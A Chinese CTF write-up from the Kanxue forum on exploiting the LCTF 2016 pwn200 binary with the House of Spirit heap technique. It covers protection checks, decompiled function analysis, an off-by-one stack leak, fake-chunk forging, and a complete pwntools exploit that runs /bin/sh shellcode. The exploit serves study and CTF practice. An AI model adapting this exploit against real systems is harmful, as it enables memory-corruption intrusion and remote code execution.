本文为看雪论坛优秀文章
看雪论坛作者ID：直木
利用场景
Free要绕过的检测
LCTF_2016-pwn200
步骤一：运行查看
步骤二：查看文件类型和保护机制
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64位程序 -
除了RELRO，其他保护都关闭
file lctf_2016_pwn200lctf_2016_pwn200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a7b9f542c0bf79112b5be3f0198d706cce1bcad, strippedchecksec --file=lctf_2016_pwn200RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEPartial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 3 lctf_2016_pwn200
步骤三：IDA反编译分析
a. main函数
b. welcome函数
c. input_number函数
到这的时候，栈空间布局如下：
d. input_money_and_menu函数
e. menu_options函数
(1) 输入1 ：checkin
(2) 输入2：checkout
f. checkin函数
1）如果登记，返回已登记字符串，退出函数。
2）如果没有登记，则输入一个数字nbytes，然后新分配一个nbytes大小的堆空间，然后往里输入“money”（nbytes长度）。
g. checkout函数
h. 小结
能泄漏栈的地址，能覆盖堆指针，能再次free和malloc，满足HOS的利用条件。对应前面的利用场景，如下所示，那么可以在可控2区域输入shellcode，可控1区域开始伪造chunk，然后往chunk输入，覆盖input_money_and_menu函数的返回地址为shellcode的地址，那么menu菜单第3选项退出的时候，input_money_and_menu也会return。
下面进行调试分析，验证一些分析。
步骤四：调试分析
a. 模板
from pwn import *from LibcSearcher import LibcSearcherfrom sys import argvdef ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search('/bin/sh').next()return (system, binsh)s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,' '))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'binary = './lctf_2016_pwn200'context.binary = binaryelf = ELF(binary,checksec=False)p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)def dbg():gdb.attach(p)pause()#start# endp.interactive()
b. 分析程序的内存布局，并查看welcome函数中的off-by-one漏洞效果。
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对于money，如果输入0x38位，那么实际输入的会是0x39位，因为read函数也会将'/n'输入到内存中，结果是会覆盖掉dest最低的一个字节，导致不能查看堆信息。
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对于id，也是同样如此，输入4位。
payload = 'a'*48ru('who are u?n')s(payload)p.recvuntil(payload)# leak main function rbp addressrbp_addr = u64(p.recvn(6).ljust(8, 'x00'))print(hex(rbp_addr))# input idsla('give me your id ~~?','111')# input moneysla('give me money~',0x37*'b')# recvive menuru('your choice : ')dbg()
id = 0x6f = 111
c. 思路
d. 输入name和money
def checkin(num, money):sla('your choice : ', '1')sla('how long?n', str(num))sa(str(num)+'n',money)def checkout():sla('your choice : ','2')def quit():sla('choice : ','3')shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')# input name(shellcode)payload = ''payload = payload + shellcode.ljust(0x30)ru('who are u?n')s(payload)ru(payload)# leak main function rbp addressrbp_addr = u64(p.recvn(6).ljust(8, 'x00'))leak("rbp address",rbp_addr)# get shellcode_addr and fake_chunk_addrshellcode_addr = rbp_addr - 0x50fake_chunk_addr = rbp_addr- 0x90ru('give me your id ~~?n')sl('32') # next chunk sizeru('give me money~n')# input money(fake chunk)# padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8payload = p64(0)*4 + p64(0) + p64(0x41)payload = payload.ljust(56,'x00') + p64(fake_chunk_addr)s(payload)
e. free
checkout()dbg()f. 再次malloc并填充数据
# mallocpayload = 'a'*0x18 + p64(shellcode_addr)payload = payload.ljust(0x30,'x00')checkin(0x30,payload)最后，程序退出时，input_money_and_menu函数就会返回，跳转执行shellcode。
步骤五：构造Exp
from pwn import *from LibcSearcher import LibcSearcherfrom sys import argvdef ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search('/bin/sh').next()return (system, binsh)s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)ruf = lambda delims, drop=False :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,'x00'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'binary = './lctf_2016_pwn200'context.binary = binaryelf = ELF(binary,checksec=False)p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)def dbg():gdb.attach(p)pause()def checkin(num, money):sla('your choice : ', '1')sla('how long?n', str(num))sa(str(num)+'n',money)def checkout():sla('your choice : ','2')def quit():sla('choice : ','3')shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')# input name(shellcode)payload = ''payload = payload + shellcode.ljust(0x30)ru('who are u?n')s(payload)ru(payload)# leak main function rbp addressrbp_addr = u64(p.recvn(6).ljust(8, 'x00'))leak("rbp address",rbp_addr)# get shellcode_addr and fake_chunk_addrshellcode_addr = rbp_addr - 0x50fake_chunk_addr = rbp_addr- 0x90ru('give me your id ~~?n')sl('32') # next chunk sizeru('give me money~n')# input money(fake chunk)# padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8payload = p64(0)*4 + p64(0) + p64(0x41)payload = payload.ljust(56,'x00') + p64(fake_chunk_addr)s(payload)# dbg()# freecheckout()# dbg()# mallocpayload = 'a'*0x18 + p64(shellcode_addr)payload = payload.ljust(0x30,'x00')checkin(0x30,payload)#dbg()# quitquit()p.interactive()
参考文献
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ctf-wiki -
https://bbs.pediy.com/thread-225440.htm -
https://www.anquanke.com/post/id/85357
看雪ID：直木
https://bbs.pediy.com/user-home-830671.htm
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